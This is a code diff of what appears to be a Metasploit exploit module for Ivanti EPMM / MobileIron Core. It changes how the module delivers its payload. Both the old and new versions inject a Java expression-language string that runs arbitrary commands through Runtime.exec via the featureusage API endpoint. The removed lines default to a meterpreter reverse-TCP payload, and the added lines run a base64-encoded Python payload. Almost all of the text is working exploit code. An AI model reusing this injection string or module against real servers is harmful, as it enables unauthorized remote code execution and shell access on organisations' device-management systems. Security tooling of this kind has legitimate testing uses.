@@ -24,7 +24,8 @@ def initialize(info = {})
2424 'License' => MSF_LICENSE ,
2525 'Author' => [
2626 'CERT-EU' , # Original discovery
27- 'Sonny Macdonald & Piotr Bazydlo' , # First published PoC
27+ 'Sonny Macdonald' , # First Published PoC
28+ 'Piotr Bazydlo' , # First published PoC
2829 'remmons-r7' # MSF Exploit
2930 ] ,
3031 'References' => [
@@ -40,17 +41,10 @@ def initialize(info = {})
4041 'DisclosureDate' => '2025-05-13' ,
4142 # Runs as the 'tomcat' user
4243 'Privileged' => false ,
43- 'Platform' => [ 'unix' , 'linux '] ,
44- 'Arch' => [ ARCH_CMD ] ,
44+ 'Platform' => [ 'python ' ] ,
45+ 'Arch' => [ ARCH_PYTHON ] , # Tested appliance has Python 3.4.9
4546 'DefaultTarget' => 0 ,
4647 'Targets' => [ [ 'Default' , { } ] ] ,
47- 'DefaultOptions' => {
48- # cwd is not writable, so use /var/tmp, which is on an executable partition and can be written to
49- 'FETCH_WRITABLE_DIR' => '/var/tmp' ,
50- # After updating Metasploit, the payload began defaulting to aarch64 for some reason
51- # Specifying x64 here to ensure a sane default
52- 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
53- } ,
5448 'Notes' => {
5549 # Confirmed to work multiple times in a row and concurrently
5650 'Stability' => [ CRASH_SAFE ] ,
@@ -82,61 +76,25 @@ def check
8276 end
8377 end
8478
85- def execute_command ( cmd )
86- # Since the execution context only supports one command at a time, split on fetch payload semicolons
87- commands = cmd . split ( ';' )
88- resp = nil
89-
90- commands . each_with_index do |command , index |
91- command = command . strip
92- next if command . empty?
93-
94- # An update to Metasploit in early 2025 changed the way that fetch payloads are constructed
95- # Previously, fetch payloads appended " &" to the execution command, but now only "&" is appended
96- # For example, "/var/tmp/EHDjrJnB &" -> "/var/tmp/EHDjrJnB&"
97- # The expression language execution context doesn't like it unless there's a space, so we add one
98- command = command . gsub ( '&' , ' &' )
99-
100- vprint_status ( "Payload part #{ index + 1 } /#{ commands . length } : #{ command } " )
79+ def execute_command ( command )
80+ payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{ command } ').getInputStream()).useDelimiter('%5C%5CA').next()}"
10181
102- # Non-blind payload reportedly being used in the wild, returns stdout in response body
103- payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{ command } ').getInputStream()).useDelimiter('%5C%5CA').next()}"
82+ vprint_status ( "Sending template payload: #{ payload } " )
10483
105- vprint_status ( "Sending template payload: #{ payload } " )
106-
107- resp = send_request_cgi (
108- 'method' => 'GET' ,
109- # There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
110- 'uri' => normalize_uri ( target_uri . path , 'mifs' , 'rs' , 'api' , 'v2' , 'featureusage' ) ,
111- 'vars_get' => {
112- 'format' => payload
113- } ,
114- # Setting this timeout lower than the default, since the third request will not receive a response
115- # Per https://github.com/rapid7/metasploit-framework/issues/12004
116- 'timeout' => 7.5
117- )
118-
119- # The third fetch payload command (executing meterpreter) should hang and fail to respond
120- # If there's no response and it's not the third fetch payload, the exploit failed
121- if index != 2
122- unless resp
123- fail_with ( Failure ::Unknown , "Failed to execute command part #{ index + 1 } : #{ command } " )
124- end
125-
126- vprint_status ( "Command part #{ index + 1 } response: #{ resp . body } " )
127-
128- else
129- vprint_status ( 'No command part 3 response expected' )
130- end
131- end
132-
133- resp
84+ send_request_cgi (
85+ 'method' => 'GET' ,
86+ # There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
87+ 'uri' => normalize_uri ( target_uri . path , 'mifs' , 'rs' , 'api' , 'v2' , 'featureusage' ) ,
88+ 'vars_get' => {
89+ 'format' => payload
90+ }
91+ )
13492 end
13593
13694 def exploit
137- # We pass the encoded payload to execute_command
138- # That will split it up into three commands to execute, and it'll also handle error conditions
13995 vprint_status ( 'Attempting to execute payload' )
140- execute_command ( payload . encoded )
96+ base64_payload = Base64 . urlsafe_encode64 ( payload . encoded )
97+ cmd = "python3 -c exec(__import__(\" base64\" ).b64decode(\" #{ base64_payload } \" ))"
98+ execute_command ( cmd )
14199 end
142100end
0 commit comments